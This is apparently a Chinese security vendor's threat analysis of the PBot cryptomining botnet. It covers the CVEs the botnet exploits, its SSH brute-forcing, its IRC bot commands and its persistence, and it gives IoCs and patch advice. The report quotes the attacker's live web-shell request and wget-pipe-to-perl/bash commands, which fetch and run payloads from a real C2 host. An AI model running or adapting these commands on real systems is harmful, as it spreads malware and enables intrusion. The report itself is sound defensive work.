PBot挖矿僵尸网络正利用新漏洞发起攻击

 

0x01   概述

近期,360安全大脑监测到一个挖矿僵尸网络,并对其进行了持续跟踪。其bot模块为GitHub开源的IRCBot(采用Perl语言编写),且病毒脚本中包含perlbot关键字,遂命名为PBot。该僵尸网络正利用Spring4Shell漏洞(CVE-2022-22965)、GitLab CE/EE RCE漏洞(CVE-2021-22205)等漏洞大肆攻击互联网中主机以植入恶意脚本构建僵尸网络、挖矿牟利。目前该病毒家族至少包含7个漏洞利用模块(详见附录1),并收集了上万个脆弱主机IP地址。

由于上述漏洞均为高危漏洞,利用方式较为简单且已经公开(通过构造恶意HTTP请求即可实现),广大用户可使用360安全大脑相关产品进行全面查杀,并从以下4个方面进行加固,以免遭受黑客攻击,造成不必要的损失。

1. 更新Spring Framework至5.2.20或5.3.18以上版本;更新Spring Boot至2.5.12或2.6.6以上版本;
2. 将Gitlab升级到最新的安全版本;
3. 若非业务需要,不要在公网开放Gitlab接口,采用本地或内网访问,设置访问白名单等方式进行加固;
4. 服务器应配置高强度的登录密码(大小写字母、数字和特殊字符的组合密码),并定期更换密码。

 

0x02   漏洞详情

Spring4Shell漏洞(CVE-2022-22965)

Spring框架是Java平台一个开源的全栈应用程序框架和控制反转容器实现,其参数绑定机制允许开发人员将HTTP 请求详细信息绑定到特定于应用程序的对象。因其getCachedIntrospectionResults方法在绑定参数时错误的暴露了类对象,致使在JDK 9+上运行的Spring MVC、Spring WebFlux应用程序可能容易受到通过参数绑定的远程代码执行 (RCE) 攻击。

漏洞状态:

漏洞编号 漏洞等级 漏洞详情 POC EXP 在野利用
CVE-2022-22965 高危 已公开 已知 已知 已存在
受影响版本 安全版本
Spring Framework Spring Framework = 5.2.20
Spring Framework Spring Framework = 5.3.18
Spring Boot Spring Boot = 2.5.12
Spring Boot Spring Boot = 2.6.6

 

0x03   技术分析

执行流程

1)攻击者首先利用Spring4Shell漏洞(CVE-2022-22965)、GitLab CE/EE RCE漏洞(CVE-2021-22205)向存在上述漏洞的主机植入恶意脚本jui.sh(下载挖矿脚本等)、僵尸网络bot模块j(Perl编写)、lans(下载ssh暴破模块)。其利用Spring4Shell(CVE-2022-22965)下载并执行僵尸网络bot模块j的payload片段如下:

GET /shell.jsp?pwd=k3rwin&cmd=wget -q -O - 89.44.9.246/j|perl HTTP/1.1

其次,攻击者还可利用Laravel反序列化RCE漏洞 (CVE-2018-15133)下载并执行僵尸网络bot模块pp

2)接着,恶意脚本jui.sh会下载并运行僵尸网络bot模块lan(Perl编写)构建僵尸网络;然后,执行挖矿shell脚本45.647.txt挖矿牟利。需要注意的是,PBot包含的多个僵尸网络bot模块,只是bot server不同,功能完全一致。

wget -qO - 89.44.9.246/lan|perl
wget -qO - 89.44.9.246/all/45.647.txt|bash

3)SSH暴破实现横向传播

恶意脚本lans会从C2(89.44.9.246)下载lan.jpg(一个压缩包),其目录结构如下:

首先,恶意脚本run调用恶意elf文件pass,获取中招主机所有用户名,生成新的暴破字典保存到pass.txt,并与原始暴破字典passfile合并,以生成最终的暴破字典pass3。最后,调用恶意脚本c对主机所在网段进行SSH暴破。

SSH暴破成功后,便执行shell命令以下载并运行Perl编写的僵尸网络bot模块pp

其中,cola是一个用于暴破的黑客工具。

僵尸网络bot模块

bot模块可对目标主机发起多种DDoS攻击,支持近40条指令(含7条DDoS攻击指令、6条洪泛攻击指令),详细指令详见附录2。其通信过程大致如下:

1)TCP连接建立后,中招主机使用IRC协议向bot server(194.163.141.243:6667)发送2个请求,进行身份验证。其中BU-57890为中招主机昵称标识(格式为:”BU-” + rand(99999) )。

Request: NICK BU-57890
Request: USER VICTIM 192.168.192.157 194.163.141.243 :VICTIM 

2)中招主机身份验证通过后,bot server会发送欢迎信息,并告知中招主机当前僵尸网络结点个数等信息。

3)接着,中招主机发送加入僵尸网络请求(JOIN指令);bot server将其加入僵尸网络,并告知当前僵尸网络中已有结点昵称。

4)当有新的结点加入该僵尸网络时,bot server会告知中招主机。

门罗币挖矿

恶意shell脚本45.647.txt,主要功能为:

1)创建目录

/var/log/gitlab/gitlab-rails/kthmimu
/tmp/.qwerty

2)清除其他挖矿对手

3)创建下载恶意shell脚本ioi的定时任务,ioi脚本又会从C2(89.44.9.246)下载45.647.txt,从而实现持久化。

4)下载并运行xmrig挖矿木马

为了增强挖矿活动隐蔽性,其会自动结束CPU占用率70%以上的进程。

同时,我们注意到,其早期挖矿模块xmr.tgz,则采用伪装进程名方式隐蔽挖矿,并通过添加挖矿启动脚本定时任务方式实现持久化。

如下是PBot其中一个钱包地址的收益情况,对应公共矿池94.130.13.27:7777(pool.supportxmr.com)。

最新版的矿池为:sshd1.psybnc.org:4430,可以发现其从公共矿池到私有矿池的转变。

顺藤摸瓜

在对该僵尸网络进行深入挖掘溯源后,我们还原了其大致架构。

目录名 备注
/22 漏洞利用相关文件,以及扫描的目标IP列表
/all 恶意主脚本、挖矿相关文件、扫描的目标IP列表
根目录下的其他文件 bot模块(perl脚本)、ssh暴破模块、扫描的目标IP列表、其他恶意脚本
/znc 挖矿相关文件
/v5 无访问权限

 

0x04   IoCs

C2:

89.44.9.246

146.70.80.113

185.158.251.99

194.163.141.243

ftp.neitel.net

矿池:

94.130.13.27:7777

sshd1.psybnc.org:4430

gulf.moneroocean.stream:10128

钱包地址:

42Q8pHgf7tKTB7u1Lv6kmFRCg24udi2prGZ5gP2GUioiDL2sbgAag3Y9AWsQrDJSg991pU6keY1RqRSYTPCEWrhrV65W3qY

87CgVNisfTySvd79TSEqYWcRyzkSUJx2i5YJP9mx9R2QPVsD8HG3Rb2abSHbcHteYoHdWmx6Y9QvA8FPxzHDo2wE55K3iqv

MD5 文件名 文件类型 备注
851391be5d17a58dfaaf53172f3b2b1c jui.sh shell 首个入侵的恶意shell脚本
7962743968b186b082c0aa66c838f284 45.647.txt shell 第二阶段下载的挖矿shell脚本
58d7aaf6a4152585d5453de0b1797daf lan perl perl编写的bot
bc5ef4ef66a24188056c17631ed1da77 j perl perl编写的bot
bc485470f634c659e68fbb18b1f92970 pp perl perl编写的bot
dc3f6b91e39ebb6b2f2642039025d0bd ioi shell 下载45.647.txt的恶意shell脚本
c57ff21ebf088948ec05ac7dd89826dd 45.64.rar elf xmrig挖矿木马
ea9dc6a4690b3dd511f8c7d58003774d 45.64.json json 挖矿配置文件
acb42ee232214fbe14f463584964cd11 xmr.tgz tgz 挖矿模块
333be948f8c195e5fdcde7110bf3f2d5 lans shell 下载ssh暴破模块lan.jpg

 

0x05   附录

附录1:该病毒家族用到的7个漏洞

漏洞名称 漏洞编号
Spring4Shell漏洞 CVE-2022-22965
GitLab CE/EE RCE漏洞 CVE-2021-22205
Linux Polkit权限提升漏洞 CVE-2021-4034
Linux内核提权漏洞 CVE-2021-3493
Sudo 堆缓冲区溢出漏洞 CVE-2021-3156
Laravel 反序列化RCE漏洞 CVE-2018-15133
脏牛漏洞(dirtycow) CVE-2016-5195

附录2:Bot模块指令

指令类型 指令名 条数 具体指令
DDoS攻击指令 ddos 7 udpflood
洪泛攻击指令 flooding 6 msgflood
dunixflood
ctcpflood
noticeflood
channelflood
maxiflood
数据流及漏洞更新指令 news 2 packetstorm
milw0rm
黑客攻击相关指令 hacking 12 multiscan
socks5
portscan
logcleaner
sendmail
system
cleartmp
unixable
nmap
back
linuxhelp
cd tmp
IRC通信相关指令 irc 12 killme
join #channel
part #channel
reset
voice
owner
deowner
devoice
halfop
dehalfop
op
deop

 

0x06   产品侧解决方案

若想了解更多产品信息或有相关业务需求,可移步至http://360.net。

360安全分析响应平台

360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段,对该类漏洞的利用进行实时检测和阻断,请用户联系相关产品区域负责人获取对应产品。

360安全卫士

Windows用户可通过360安全卫士实现对应补丁安装、漏洞修复、恶意软件查杀,其他平台的用户可以根据修复建议列表中的安全建议进行安全维护。

360CERT建议广大用户使用360安全卫士定期对设备进行安全检测,以做好资产自查以及防护工作。

360本地安全大脑

360本地安全大脑是将360云端安全大脑核心能力本地化部署的一套开放式全场景安全运营平台,实现安全态势、监控、分析、溯源、研判、响应、管理的智能化安全运营赋能。360本地安全大脑已支持对相关漏洞利用的检测,请及时更新网络神经元(探针)规则和本地安全大脑关联分析规则,做好防护。

360终端安全管理系统

360终端安全管理系统软件是在360安全大脑极智赋能下,以大数据、云计算等新技术为支撑,以可靠服务为保障,集防病毒与终端安全管控功能于一体的企业级安全产品。

360终端安全管理系统已支持对相关漏洞进行检测和修复,建议用户及时更新漏洞库并安装更新相关补丁。

 

0x07   时间线

2022-06-24 360高级威胁研究分析中心发布通告

(完)